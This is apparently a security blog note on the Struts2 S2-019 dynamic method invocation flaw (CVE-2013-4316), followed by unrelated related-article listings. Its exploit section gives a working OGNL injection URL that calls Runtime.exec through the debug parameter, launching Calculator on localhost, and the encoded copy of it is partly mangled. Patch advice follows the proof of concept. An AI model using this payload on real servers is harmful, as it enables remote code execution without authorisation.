catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

Dynamic Method Invocation is a mechanism known to impose possible security vulnerabilities, but until now it was enabled by default with warning that users should switch it off if possible.

Relevant Link:

http://struts.apache.org/docs/s2-019.html?spm=5176.775974950.2.8.iJuruO

2. Effected Scope
3. Exploit Analysis

0x1: POC

需要目标struts2应用开启debug模式

http://localhost:8080/crazyit/register.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField
%%27allowStaticMethodAccess%%,%23f.setAccessible%28true%,%23f.set%%23_memberAccess,true%,
@java.lang.Runtime@getRuntime%%.exec%%/Applications/Calculator.app/Contents/MacOS/Calculator%%
/*
http://localhost:8080/crazyit/register.action?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField
('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
@java.lang.Runtime@getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')
*/

Relevant Link:

http://qqhack8.blog.163.com/blog/static/114147985201463194423958/
http://qqhack8.blog.163.com/blog/static/114147985201402743220859

4. Principle Of Vulnerability
5. Patch Fix

0x1: upgrade struts2

In Struts 2.3.15.2 the Dynamic Method Invocation is to false by default. Another option is to set struts.enable.DynamicMethodInvocation to false in struts.xml

<constant name="struts.enable.DynamicMethodInvocation" value="false"/>

0x2: 手动修复方法

. 使用过滤器对相关关键字进行拦截,需要修改struts.xml,并重启struts2应用进程
. 动态关闭struts2的属性开关(hotfix)
. 使用waf进行URL层面的拦截

Relevant Link:

http://www.fjssc.cn/html/research/notice/2014/0127/78.html

Copyright (c) 2015 Little5ann All rights reserved

struts2 CVE-2013-4316 S2-019 Dynamic method executions Vul的更多相关文章

  1. Dynamic Method Resolution

    [Dynamic Method Resolution] @dynamic directive 用于声明属性的方法dynamic loading,which tells the compiler tha ...

  2. Dynamic Method Binding in Delphi 动态方法绑定

    Dynamic Method Binding in Delphi  动态方法绑定 https://docs.dataabstract.com/Delphi/AdvancedTopics/Dynamic ...

  3. 多态,动态方法调度(dynamic method dispatch)?

    8.多态Polymorphism,向上转型Upcasting,动态方法调度(dynamic method dispatch) 什么叫多态?简言之,马 克 - t o - w i n:就是父类引用指向子 ...

  4. DMI ( Dynamic Method Invocation )

    功能: 点击 hello , 调用 execute 函数 点击 update , 调用 update 函数 1.项目结构 2.web.xml <?xml version="1.0&qu ...

  5. [Core Javascirpt] Basic Metaprogramming: Dynamic Method

    Somehow it looks like reflect in Java. For example: We define an mothod on the Object, it called def ...

  6. 深入浅出Cocoa之消息(二)-详解动态方法决议(Dynamic Method Resolution) 【转】

    序言 如果我们在 Objective C 中向一个对象发送它无法处理的消息,会出现什么情况呢?根据前文<深入浅出Cocoa之消息>的介绍,我们知道发送消息是通过 objc_send(id, ...

  7. Struts2入门2 Struts2深入

    Struts2入门2 Struts2深入 链接: http://pan.baidu.com/s/1rdCDh 密码: sm5h 前言: 前面学习那一节,搞得我是在是太痛苦了.因为在Web项目中确实不知 ...

  8. struts2 s2-032漏洞分析

    0x01Brief Description 最近面试几家公司,很多都问到了s2漏洞的原理,之前调试分析过java反序列化的漏洞,觉得s2漏洞应该不会太难,今天就分析了一下,然后发现其实漏洞的原理不难, ...

  9. ref:Struts2 命令执行系列回顾

    ref:http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html Struts2 命令执行 ...

随机推荐

  1. 前端见微知著番外篇:GIT舍我其谁?

    在上一篇中,我们讲到了利用纯UI的软件如何实现代码的提交.但是在MAC机器上,是没有turtoiseGit这类软件的,所以利用命令行的方式就是我们的首选了. 下面我们来描述两种主要的Git使用场景: ...

  2. swift---不同字体大小不同颜色label富文本设置

    agreeDeal = UILabel() //富文本,不同字体颜色大小和颜色 let labelString = "登录注册,表示您同意<服务条款及隐私政策>"as ...

  3. unix环境高级编程基础知识之第一篇

    陆陆续续看完了圣经第一章,熟悉了unix的整个编程流程,c语言的用处在这里得到伸张. 从unix的体系结构,原来操作系统包括内核及一些其他软件,我们常常误称为linux内核为操作系统,这俨然成为一种共 ...

  4. 理解Android安全机制

    本文从Android系统架构着手,分析Android的安全机制以SE Android,最后给出一些Android安全现状和常见的安全解决方案. 1.Android系统架构 Android采用分层的系统 ...

  5. PHP 实现页面静态化

    PHP文件执行阶段:语法分析->编译->运行 静态html文件执行顺序:运行 动态程序: 连接数据库服务器或者缓存服务器->获取数据->填充到模板->呈现给用户 关于优化 ...

  6. js的单引号,双引号,转移符

    这里我们看到想在style后边在插入一个样式的变量,data.cssSytle.a是做边和邮编都是"",并且没有转移符

  7. Beyond Compare 3 设置自动换行

    设置自动换行方法: 在菜单栏里点击“工具”,然后在弹出列表里选择“文件格式”,在弹出框的左下角编辑文件格式默认值中,选择“文本格式”,对右侧的 ‘每行字符限制’进行修改保存即可,一般可设置80或90. ...

  8. 中间件(middlebox)

    Middleboxes (also known as network functions) are systems that perform sophisticated and often state ...

  9. springMvc请求的跳转和传值

    forword跳转页面的三种方式: 1.使用serlvet /** * 使用forward跳转,传递基本类型参数到页面 * 注意: * 1.使用servlet原生API Request作用域 * */ ...

  10. win7命令行 端口占用 查询进程号 杀进程

    打开CMD窗口 win+R–>cmd 根据端口号查找进程号 netstat -nao|grep 端口号 根据进程号得到进程名 tasklist |findstr 进程号 杀进程 taskkill ...